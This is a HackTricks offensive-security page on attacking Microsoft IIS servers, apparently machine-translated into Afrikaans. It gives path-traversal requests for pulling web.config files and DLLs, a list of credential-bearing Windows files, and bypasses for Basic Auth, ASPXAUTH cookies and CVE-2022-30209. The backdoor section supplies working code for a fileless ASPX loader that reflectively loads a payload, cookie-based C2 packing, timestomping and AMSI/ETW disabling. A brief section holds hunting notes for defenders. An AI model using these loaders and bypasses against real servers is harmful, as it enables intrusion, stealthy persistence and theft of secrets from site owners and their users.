IIS - Internet Information Services
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Toets uitvoerbare lĂȘeruitbreidings:
- asp
- aspx
- config
- php
Blootlegging van interne IP-adresse
Op enige IIS-server waar jy ân 302 kry, kan jy probeer om die Host header te verwyder en HTTP/1.0 te gebruik, en in die response kan die Location header jou na die interne IP-adres wys:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Respons wat die interne IP openbaar:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Voer .config-lĂȘers uit
Jy kan .config-lĂȘers oplaai en dit gebruik om code uit te voer. Een manier om dit te doen is om die code by die einde van die lĂȘer binne ân HTML-opmerking te voeg: Download example here
Meer inligting en tegnieke om hierdie kwesbaarheid te benut here
IIS Discovery Bruteforce
Laai die lys wat ek geskep het af:
Dit is geskep deur die inhoud van die volgende lyste saam te smelt:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Gebruik dit sonder om enige uitbreiding by te voeg; die lĂȘers wat dit benodig het dit reeds.
Path Traversal
Leaking source code
Kyk na die volledige uiteensetting by: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
As opsomming, is daar verskeie web.config-lĂȘers binne die vouers van die toepassing met verwysings na âassemblyIdentityâ files en ânamespacesâ. Met hierdie inligting is dit moontlik om te bepaal waar uitvoerbare lĂȘers geleĂ« is en dit af te laai.
Uit die downloaded Dlls is dit ook moontlik om new namespaces te vind waar jy moet probeer toegang kry en die web.config-lĂȘer te bekom om nuwe namespaces en assemblyIdentity te vind.
Ook kan die lĂȘers connectionstrings.config en global.asax interessante inligting bevat.
In .Net MVC applications, speel die web.config-lĂȘer ân deurslaggewende rol deur elke binĂȘre lĂȘer wat die toepassing benodig aan te dui deur âassemblyIdentityâ XML-tags.
Verkenning van BinĂȘre LĂȘers
ân Voorbeeld van toegang tot die web.config-lĂȘer word hieronder gewys:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:
- EntityFramework weergawe
- AppSettings vir webpages, kliëntvalidasie en JavaScript
- System.web konfigurasies vir verifikasie en runtime
- System.webServer instellings vir modules
- Runtime assembly bindings vir verskeie biblioteke soos Microsoft.Owin, Newtonsoft.Json, en System.Web.Mvc
Hierdie instellings dui aan dat sekere lĂȘers, soos /bin/WebGrease.dll, binne die toepassing se /bin-gids geleĂ« is.
Root Directory LĂȘers
LĂȘers wat in die wortelgids gevind word, soos /global.asax en /connectionstrings.config (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
Namespaces en Web.Config
MVC-toepassings definieer ook addisionele web.config-lĂȘers vir spesifieke namespaces om herhalende verklarings in elke lĂȘer te vermy, soos gedemonstreer met ân versoek om nog ân web.config af te laai:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Aflaai van DLLs
Die vermelding van ân custom namespace dui op ân DLL met die naam âWebApplication1â wat in die /bin-gids teenwoordig is. Daarop volg ân versoek om die WebApplication1.dll af te laai:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Dit dui op die teenwoordigheid van ander noodsaaklike DLLs, soos System.Web.Mvc.dll en System.Web.Optimization.dll, in die /bin gids.
In ân scenario waar ân DLL ân namespace importeer genaamd WebApplication1.Areas.Minded, kan ân aanvaller moontlik die bestaan van ander web.config-lĂȘers in voorspelbare paaie aflei, soos /area-name/Views/, wat spesifieke konfigurasies en verwysings na ander DLLs in die /bin-lĂȘergids bevat. Byvoorbeeld, ân versoek na /Minded/Views/web.config kan konfigurasies en namespaces openbaar wat die teenwoordigheid van nog ân DLL, WebApplication1.AdditionalFeatures.dll, aandui.
Algemene lĂȘers
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Fout
As jy ân fout soos die volgende sien:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
Dit beteken dat die bediener nie die korrekte domeinnaam ontvang het nie in die Host-header.
Om toegang tot die webblad te kry, kan jy na die verskafde SSL Certificate kyk en dalk vind jy die domein/subdomein daarin. As dit nie daar is nie, mag jy brute force VHosts moet gebruik totdat jy die korrekte een vind.
Dekripteer versleutelde konfigurasie en ASP.NET Core Data Protection key rings
Twee algemene patrone om geheime op IIS-hosted .NET-toepassings te beskerm, is:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) vir web.config-afdelings soos
. - ASP.NET Core Data Protection key ring (lokaal gestoor) wat gebruik word om toepassingsgeheime en cookies te beskerm.
As jy lĂȘerstelsel- of interaktiewe toegang tot die webbediener het, laat saamgeplaasde sleutels dikwels dekripsie toe.
- ASP.NET (Full Framework) â dekripteer beskermde konfig-afdelings met aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core â soek Data Protection key rings wat plaaslik gestoor is (XML/JSON lĂȘers) onder plekke soos:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Met die key ring beskikbaar, kan ân operateur wat as die app se identiteit loop ân IDataProtector instansieer met dieselfde purposes en die gestoor geheime unprotect. Misconfigurasies wat die key ring saam met die app-lĂȘers stoor maak offline dekripsie triviaal sodra die host gekompromitteer is.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Die Phantom Taurus/NET-STAR toolkit demonstreer ân volwasse patroon vir fileless IIS persistensie en postâexploitation wat heeltemal binne w3wp.exe plaasvind. Die kernidees is wyd herbruikbaar vir aangepaste tradecraft en vir detection/hunting.
Key building blocks
- ASPX bootstrapper hosting an embedded payload: ân enkele .aspx blad (e.g., OutlookEN.aspx) dra ân Base64âencoded, optionally Gzipâcompressed .NET DLL. By ân trigger request decodeer dit, dekomprimeer dit en reflectively laai dit in die huidige AppDomain en roep die hoof entry point aan (e.g., ServerRun.Run()).
- Cookieâscoped, encrypted C2 with multiâstage packing: take/resultate word verpakk met Gzip â AESâECB/PKCS7 â Base64 en verskuif via skynbaar legitieme cookieâryke requests; operators het stabiele delimiters (e.g., âSTARâ) vir chunking gebruik.
- Reflective .NET execution: aanvaar arbitrĂȘre managed assemblies as Base64, laai via Assembly.Load(byte[]) en gee operator args deur vir vinnige module swaps sonder om die disk te raak.
- Operating in precompiled ASP.NET sites: voeg by/beheer hulpâshells/backdoors selfs wanneer die site precompiled is (e.g., dropper adds dynamic pages/handlers or leverages config handlers) â blootgestel deur commandoâs soos bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: bied ân changeLastModified action en voer timestomp uit tydens deployment (insluitend toekomstige compilation timestamps) om DFIR te bemoeilik.
- Optional AMSI/ETW preâdisable for loaders: ân secondâstage loader kan AMSI en ETW uitskakel voordat Assembly.Load geroep word om inspeksie van inâmemory payloads te verminder.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardâcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Inpak/crypto-hulpmiddels (Gzip + AESâECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize â gzip â AESâECB â Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session vloei en kommando-oppervlak
- Session bootstrap en tasking word via cookies uitgevoer om by normale webaktiwiteit in te meng.
- Opdragte wat in die wild waargeneem is, sluit in: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; en dinamiese uitvoering-primitiewe code_self, code_pid, run_code vir inâmemory .NET-uitvoering.
Timestomping hulpmiddel
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Inline AMSI/ETW-uitskakeling voor Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Sien AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Jagnotas (verdedigers)
- Enkele, vreemde ASPX-bladsy met baie lang Base64/Gzip-blobs; cookieârige poste.
- Onondersteunde managed modules binne w3wp.exe; strings soos Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Gereelde delimiters soos âSTARâ in verkeer; wanpas of selfs toekomstige tydstempels op ASPX/assemblies.
Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)
Baie ASP.NET apps embed Telerik UI vir ASP.NET AJAX en openbaar die unauthenticated handler Telerik.Web.UI.WebResource.axd. Wanneer die Image Editor cache endpoint bereikbaar is (type=iec), maak die parameters dkey=1 en prtype unsafe reflection moontlik wat enige publieke parameterlose constructor preâauth uitvoer. Dit lei tot ân universele DoSâprimitive en kan eskaleer na preâauth RCE op apps met onveilige AppDomain.AssemblyResolve handlers.
See detailed techniques and PoCs here:
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Old IIS vulnerabilities worth looking for
Microsoft IIS tilde character â~â Vulnerability/Feature â Short File/Folder Name Disclosure
Jy kan probeer om folders en files binne elke ontdekte gids te enumereer (selfs as dit Basic Authentication vereis) deur hierdie technique te gebruik.
Die hoofbeperking van hierdie technique, as die bediener kwetsbaar is, is dat dit net tot die eerste 6 letters van die naam van elke file/gids en die eerste 3 letters van die ekstensie van die files kan vind.
Jy kan https://github.com/irsdl/IIS-ShortName-Scanner gebruik om hierdie vulnerability te toets:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Jy kan ook metasploit gebruik: use scanner/http/iis_shortname_scanner
ân Goeie idee om die finale naam van die ontdekte files te vind is om LLMs te vra vir opsies soos dit in die script gedoen word https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass ân Basic Authentication (IIS 7.5) deur te probeer toegang tot: /admin:$i30:$INDEX_ALLOCATION/admin.php of /admin::$INDEX_ALLOCATION/admin.php
Jy kan probeer om hierdie vulnerability en die vorige te kombineer om nuwe folders te vind en die authentication te bypass.
ASP.NET Trace.AXD enabled debugging
ASP.NET sluit ân debugging-mode in en die lĂȘer heet trace.axd.
Dit hou ân baie gedetaileerde log van alle requests na ân application oor ân tydperk.
Hierdie inligting sluit remote client IPâs, session IDs, alle request en response cookies, fisiese paths, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde in.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Cookie
ASPXAUTH gebruik die volgende info:
validationKey(string): hex-geĂ«nkodeerde sleutel om vir signature validation te gebruik.decryptionMethod(string): (standaard âAESâ).decryptionIV(string): hex-geĂ«nkodeerde initialization vector (standaard ân vector van zeros).decryptionKey(string): hex-geĂ«nkodeerde sleutel om vir decryption te gebruik.
Sommige mense gebruik egter die standaardwaardes van hierdie parameters en gebruik as cookie die eâpos van die gebruiker. Daarom, as jy ân web kan vind wat dieselfde platform gebruik en die ASPXAUTH cookie gebruik, en jy op die bediener onder aanval ân gebruiker skep met die eâpos van die gebruiker wat jy wil impersonate, mag jy die cookie van die tweede bediener in die eerste een kan gebruik en die gebruiker impersonate.
Hierdie aanval het gewerk in hierdie writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: ân Bug in die kode het nie behoorlik vir die password gecheck wat deur die gebruiker gegee is nie, so ân attacker wie se password hash ân sleutel tref wat reeds in die cache is, sal in staat wees om as daardie gebruiker aan te meld.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Verwysings
- Unit 42 â Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

